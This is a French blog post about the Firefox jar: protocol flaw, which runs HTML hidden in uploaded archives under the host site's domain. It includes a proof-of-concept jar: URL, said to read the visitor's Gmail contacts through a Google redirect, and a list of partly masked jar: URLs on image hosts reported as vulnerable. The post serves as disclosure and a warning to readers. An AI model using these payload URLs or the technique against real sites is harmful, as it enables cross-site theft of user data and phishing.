Je vous avais parlé il y a quelques jours d’une nouvelle faille touchant Firefox et toutes les applications web qui acceptent de recevoir en upload des fichiers zip, jar ou odt, et doc 2007… Bref, tous les types de fichiers basés sur le protocole d’archivage JAR.

Trêve de blabla, voici un premier POC (Proof of Concept) qui démontre la gravité de la chose.

jar:http://groups.google.com/searchhistory/url?url=http://beford.org/stuff/htm.jar!/htm.htm

Si vous appelez ce lien (inoffensif je vous rassure), celui-ci executera un petit javascript qui fera croire à Google qu’il vient de son domaine (google.com) et qui lui ouvrira certaines portes comme par exemple ici l’accès à votre liste de contact Gmail. Ce script ne fait rien de méchant mais d’autres pourraient se servir de ces emails pour du spam par exemple.

Ca c’est pour le fun… maintenant, imaginez que vous vouliez récupérer la liste des fichiers ou des codes sources se trouvant dans un répertoire… En théorie, c’est possible aussi vu que le .htm contenu dans le JAR est exécuté comme si il était dans le dossier du site (donc comme si vous l’aviez envoyé directement en FTP)

Même chose en uploadant une fausse page internet d’une banque par exemple, on pourrait vous demander des informations confidentielles (ou en récupérer) sans que vous soyez vigilant.

Flippant non ?

Voici par exemple, une première liste de sites que le papa de la faille a testé et qui sont faillibles. Les noms de domaines sont censurés.

jar:http://imagXXXload.biz/files/dadfad6e3ba807aa20712fbe2.png!/test.html
jar:http://img3.freeimXXXhosting.net/uploads/328d2315c3.png!/test.html
jar:http://www.imglXXXtr.com/uploads/7accc832a7.png!/test.html
jar:http://upload.iXXXpot.com/u/07/311/05/test64864.zip.png!/test.html
jar:http://www.direcXXXload.com/showoriginal-32664.jpg!/test.html
jar:http://www.uplXXXhouse.com/fileuploads/712/712277d886fa0881092da4936f5ded10e771cd.png!/test.html
jar:http://www.fotopaXXXd.com/upload/nr/486/test.zip.png!/test.html
jar:http://www.uploXXXimages.net/imagen/18790b0b47.png!/test.html
jar:http://www.imaXXX.info/images/06/1194534977_test.zip.png!/test.html
jar:http://pics.fXXXni.de/save/p_1194532832.png!/test.html
jar:http://img.nXXXnternetstate.com/1194532968.png!/test.html

Evidement, pour le moment, c’est une grosse brêche encore ouverte parce que Firefox n’a pas encore été mis à jour. Prudence donc dans vos surfs à venir et attendez vous à voir une augmentation des alertes virales et des piratages dans les jours/mois qui vont arriver…

A bon entendeur…